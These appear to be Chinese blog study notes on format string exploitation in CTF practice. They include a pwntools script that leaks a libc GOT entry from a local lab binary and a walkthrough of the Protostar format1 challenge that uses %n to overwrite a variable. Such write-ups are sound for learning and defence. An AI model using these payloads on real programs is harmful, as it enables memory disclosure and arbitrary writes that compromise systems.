學習參照:
利用%s洩露libc函式的got表內容
addr%k$s可以用來洩露指定位址的內容,但要先確定k的值,可控制的格式化字串引數是函式第幾個引數(k+1),減一就是格式化字串的第幾個引數(k)。
利用 [tag]%p%p%p%p%p%p%p%p%p%p來確定k的值
(懶得打字)
利用下面這個指令碼隨便改改就可以洩露got表內容了,覺得自己好草率
from pwn import *
sh = process('./leakmemory')
leakmemory = elf('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
利用%n覆蓋記憶體輸出格式 %n 可以將所輸出字串的長度值賦紿乙個變數, 見下例:
int slen;
printf("hello world%n", &slen);
執行後變數slen被賦值為11。
payload結構:...[overwrite addr]....%[overwrite offset]$n
我們需要先1.確定要覆蓋的內容的位址 2.確定與可控變數的相對偏移 3.構造payload進行覆蓋
這裡以protostar的format1為例子(
原始碼為:
看原始碼可知,由print(string)引起的只要target不為0,就能執行if語句中的命令,思路就是覆蓋target變數位址的內容,使target有值。
1.找到target的位址
找到target的位址為0x08049638
2.計算target與print引數的偏移量
被這步不知道坑了多久,終於找到了乙個靠譜的方法(
參拜了大神的方法之後,算出來偏移量,步驟如下
先大概測一下
減少四個
發現還差兩個,補一下
可以看到括號裡為自己輸入的abcd,終於對啦,把abcd換為target的位址
3.括號裡面變成了target的位址,接下來只用把最後的[%08x],換成[%08n]
就可以覆蓋target的內容,是target不在為空,成功執行if語句中的命令
艱難的一天終於結束啦,果然還是晚上腦子比較好用。洗洗睡吧
pwn 格式化字串漏洞
原理 因為沒有正確使用printf 函式 正確使用 printf s str 不正規使用 printf str 控制字串str可以爆出stack內內容從而實現任意位址讀或者任意位址寫 入門題01 18行存在格式化字串漏洞 只需輸入在hello之後輸入password所在位址,接收password值再...
pwn初識格式化字串漏洞
格式化字串漏洞通常情況下是由printf函式產生的 正常情況下我們用printf函式輸出字串時是這樣的 char a 100 fmtstr int b 12,c 666 printf s d x a,b,c 但是有時是出於方便會直接輸出字串 char str 12 fmtstr printf str...
某道Pwn(格式化字串漏洞)
格式化字串漏洞近幾年出現頻率少了,但是一些 ctf 中還有涉及,就當玩玩好了。首先看這一段 什麼比賽的題我忘了 include int main void return 0 目標是拿到flag。我們使用gcc編譯之後用objdump反編譯 8048507 c7 45 8800 0000 00 mov...